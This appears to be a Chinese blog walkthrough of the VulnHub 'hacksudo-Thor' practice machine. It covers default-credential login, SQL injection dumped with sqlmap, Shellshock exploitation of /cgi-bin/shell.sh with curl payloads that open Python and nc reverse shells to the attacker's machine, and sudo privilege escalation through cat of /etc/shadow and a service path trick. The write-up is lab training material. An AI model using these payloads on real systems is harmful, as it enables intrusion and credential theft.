VnlnHub hacksudo-Thor

靶场搭建

靶场下载地址:https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip

下载下来是虚拟机.ova压缩文件,这个靶机是VirtualBox的,直接用VM打开会报错想要用VM打开可以看我这篇文章:如何将VirtualBox虚拟机转换到VMware中_奋斗吧!小胖子的博客-CSDN博客_virtualbox转vmware

打开后把网络模式设置为NAT模式(桥接模式也可以,和kali攻击机保持一致就可以)

打开后靶机没有自动获取ip,解决办法看我这篇文章:靶机无法自己获取ip地址解决办法_奋斗吧!小胖子的博客-CSDN博客

开启虚拟机

VnlnHub hacksudo-Thor_第1张图片

靶场搭建完毕

渗透测试

由于不知道靶机ip,所以需要扫描NAT的网段

VnlnHub hacksudo-Thor_第2张图片

开放了22端口,存在ssh服务

开放了80端口,存在http服务,且中间件未Apache 2.4.38

访问WEB,发现是一个银行登录页面

VnlnHub hacksudo-Thor_第3张图片

在news页面看到几条通知,翻译了没有发现有线索

VnlnHub hacksudo-Thor_第4张图片

contact页面,也没有什么线索

about us 页面和contact页面一样

回到登录页面

看是否存在弱口令admin/admin

VnlnHub hacksudo-Thor_第5张图片

发现不正确

抓包看是否存在sql注入,经过多次多符号的测试,发现不存在sql注入

VnlnHub hacksudo-Thor_第6张图片

搜索一下敏感目录

VnlnHub hacksudo-Thor_第7张图片

发现一个README.md文档,将文档保存下来

VnlnHub hacksudo-Thor_第8张图片

查看,发现是一个网站搭建的说明文档,在其中发现了初始账号和密码

尝试登录/home页面,发现不正确

还发现了/admin_login.php页面,是管理员的登录页面

VnlnHub hacksudo-Thor_第9张图片

尝试使用前面文档里的默认账号admin/password123登录,发现成功登录

VnlnHub hacksudo-Thor_第10张图片

发现后台可以编辑用户,添加用户,删除用户,添加新闻

VnlnHub hacksudo-Thor_第11张图片

VnlnHub hacksudo-Thor_第12张图片

VnlnHub hacksudo-Thor_第13张图片

VnlnHub hacksudo-Thor_第14张图片

VnlnHub hacksudo-Thor_第15张图片

发现通过url中的cust_id参数就可以改变编辑的用户,尝试看是否存在SQL注入

VnlnHub hacksudo-Thor_第16张图片

VnlnHub hacksudo-Thor_第17张图片

发现果然存在sql注入

接下来利用sql注入来爆出数据库,这里我直接使用sqlmap

抓包将数据包保存到文件中,利用sqlmap -r参数

VnlnHub hacksudo-Thor_第18张图片

发现数据库为MySQL,存在时间注入

--dbs爆出所有数据库名

--current-db爆出当前数据库名

-D hacksudo --tables爆出当前数据库所有表名

VnlnHub hacksudo-Thor_第19张图片

-D hacksudo -T admin --dump爆出admin表所有数据

VnlnHub hacksudo-Thor_第20张图片

-D hacksudo -T customer --dump爆出customer表所有数据

这里爆出的数据和我们在管理员后台上可以编辑的四个用户是一样的

VnlnHub hacksudo-Thor_第21张图片

VnlnHub hacksudo-Thor_第22张图片

我们使用普通用户账号来登录普通用户的后台,发现可以查看转账记录,可以进行转账,转账的密码就是登录密码

VnlnHub hacksudo-Thor_第23张图片

但是这些发现的sql注入、逻辑漏洞、后台弱口令等都不能让我们拿到shell,所以我们需要寻找其它切入点

在我们搜索敏感目录的时候还发现了/cgi-bin/目录,这个目录是用来存放WEB使用的一些外部接口文件的,里面可能包含一些后缀名为.cgi或者.sh的文件

VnlnHub hacksudo-Thor_第24张图片

我们访问这个目录发现没有访问权限,对这个目录没有访问权限不代表对里面的文件也没有访问权限

VnlnHub hacksudo-Thor_第25张图片

这里需要用到一种漏洞叫破壳漏洞

“破壳”是Bash(GNU Bourne Again Shell)中出现的允许攻击者通过环境变量执行任意命令的漏洞。

利用条件:Bash 版本小于等于4.3

该Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。

VnlnHub hacksudo-Thor_第26张图片

我们现在需要靶机上的bash来设置环境变量执行命令来获取shell,所以我们需要在/cgi-bin/目录下找到一个cgi或者sh后缀的文件

使用dirsearch来查找,发现两个存在的文件

VnlnHub hacksudo-Thor_第27张图片

这里我们使用shell.sh文件,因为他是个shell脚本文件

使用nmap的破壳漏洞的脚本来检测漏洞是否存在

nmap -A -p 80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=id 192.168.52.141

VnlnHub hacksudo-Thor_第28张图片

发现确实存在破壳漏洞

利用curl来利用漏洞执行命令,看靶机上是否有python,发现有python

curl -H "user-aget: () { :; }; echo; /bin/bash -c 'which python'" \http://192.168.52.141/cgi-bin/shell.sh

使用python来反弹shell

curl -H "user-aget: () { :; }; echo; /bin/bash -c 'python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.52.128",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")''" \http://192.168.52.141/cgi-bin/shell.sh

利用失败

VnlnHub hacksudo-Thor_第29张图片

看主机上是否存在nc,存在nc

利用nc反弹shell

先在kali上监听4444端口

执行命令

curl -H "user-aget: () { :; }; echo; /bin/bash -c 'nc 192.168.52.128 4444 -e /bin/bash'" \http://192.168.52.141/cgi-bin/shell.sh

成功获得shell

VnlnHub hacksudo-Thor_第30张图片

获得的shell是不完整的shell,我们利用python pty来升级shell

python -c 'import pty;pty.spawn("/bin/bash")'

在目录下看到所有的cgi和sh文件

在/etc/passwd下看到两个可以用于ssh登录的用户

VnlnHub hacksudo-Thor_第31张图片

在家目录下也看到一个thor的家目录,没有权限进入

VnlnHub hacksudo-Thor_第32张图片

提权

sudo提权

sudo -l 查看是否有可提权的命令

发现可以以thor用的的身份执行/home/thor目录下的hammer.sh文件

VnlnHub hacksudo-Thor_第33张图片

尝试执行

问我们你想和thor谈话吗,发现让我们输入密码

VnlnHub hacksudo-Thor_第34张图片

直接回车发现直接进入了输入对话

VnlnHub hacksudo-Thor_第35张图片

再执行一次输入其它密码,发现密码在下一句i am后面返回为名字了

VnlnHub hacksudo-Thor_第36张图片

还发现输入对话的地方如果输入命令会被执行

VnlnHub hacksudo-Thor_第37张图片

如果我们直接输入/bin/bash ,发现成功获得了thor的shell,成功提权

还是不完整的shell,利用python pty升级shell

继续提权

sudo提权

sudo -l 查看是否有可提权的命令

发现可以以root用户身份执行cat和service命令

VnlnHub hacksudo-Thor_第38张图片

可以通过cat来查看/etc/shadow下的root用户的密码来ssh登录提权

VnlnHub hacksudo-Thor_第39张图片

也可以通过service直接提权,执行命令

sudo /usr/sbin/service ../../bin/bash

VnlnHub hacksudo-Thor_第40张图片

VnlnHub hacksudo-Thor_第41张图片

你可能感兴趣的:(web安全,安全)